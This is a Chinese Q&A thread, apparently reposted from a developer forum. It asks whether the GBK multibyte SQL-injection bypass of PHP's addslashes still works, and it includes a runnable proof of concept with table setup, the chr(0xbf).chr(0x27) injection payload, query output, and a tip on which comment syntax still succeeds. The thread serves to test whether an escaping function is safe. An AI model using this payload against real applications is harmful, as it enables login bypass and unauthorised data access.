微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

php addslashes sql注入仍然有效吗?

如何解决php addslashes sql注入仍然有效吗?

看来对我有用。

MysqL的:

MysqL> select version();
+---------------------+
| version()           |
+---------------------+
| 5.0.45-community-nt |
+---------------------+
1 row in set (0.00 sec)

MysqL> CREATE TABLE users (
    ->     username VARCHAR(32) CHaraCTER SET GBK,
    ->     password VARCHAR(32) CHaraCTER SET GBK,
    ->     PRIMARY KEY (username)
    -> );
Query OK, 0 rows affected (0.08 sec)

MysqL> insert into users SET username='ewrfg', password='wer44';
Query OK, 1 row affected (0.02 sec)

MysqL> insert into users SET username='ewrfg2', password='wer443';
Query OK, 1 row affected (0.03 sec)

MysqL> insert into users SET username='ewrfg4', password='wer4434';
Query OK, 1 row affected (0.00 sec)

PHP

<pre><?PHP
echo "PHP version: ".PHP_VERSION."\n";

MysqL_connect();
MysqL_select_db("test");
MysqL_query("SET NAMES GBK");

$_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
$_POST['password'] = 'guess';

$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
$result = MysqL_query($sql) or trigger_error(MysqL_error().$sql);
var_dump($username);
var_dump(MysqL_num_rows($result));
var_dump(MysqL_client_encoding());

$username = MysqL_real_escape_string($_POST['username']);
$password = MysqL_real_escape_string($_POST['password']);
$sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
$result = MysqL_query($sql) or trigger_error(MysqL_error().$sql);
var_dump($username);
var_dump(MysqL_num_rows($result));
var_dump(MysqL_client_encoding());

MysqL_set_charset("GBK");
$username = MysqL_real_escape_string($_POST['username']);
$password = MysqL_real_escape_string($_POST['password']);
$sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
$result = MysqL_query($sql) or trigger_error(MysqL_error().$sql);
var_dump($username);
var_dump(MysqL_num_rows($result));
var_dump(MysqL_client_encoding());

结果:

PHP version: 5.3.3
string(29) "ї\' OR username = username /*"
int(3)
string(6) "latin1"
string(29) "ї\' OR username = username /*"
int(3)
string(6) "latin1"
string(30) "\ї\' OR username = username /*"
int(0)
string(3) "gbk"

结论:

对于那些高喊“您应该使用mres而不是加号!”的人来说,第二个结果将是最令人惊讶的。

解决方法

我知道“参数化查询”是圣杯。 这不是主题。

有一篇旧文章,似乎是使用addslashes时与sql注入相关的所有讨论的参考。

这是链接:http : //shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-
escape-string

我的问题是:这个概念证明是否仍然正确?我尝试对其进行测试,但是addlashes似乎可以正常工作。有人真的尝试过这个吗,还是所有人都认为这是理所当然的?

  • 我添加了$ db-> set_charset(“ GBK”);
  • 我将gbk_chinese_ci用于数据库/字段
  • mysql日志显示此查询

    SELECT * FROM users
    WHERE username = ‘�' OR username = username /*’
    AND password = ‘guess’

很明显,这个技巧是行不通的

更新 :请阅读我要问的问题。我不在乎最佳实践,我不需要替代方案,我只需要确保它仍然有效即可。

更新 :我也想提醒一下,此POC适用于GBK,SJIS或BIG5等字符集,每个人似乎都忘记了这一点。说斜线不安全时,使标题听起来有些吓人。

解决方案 :就我而言,MySQL 5.5.9-log版本不允许未以/ *形式出现的内联注释。如果我使用-或#,则可以使用。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。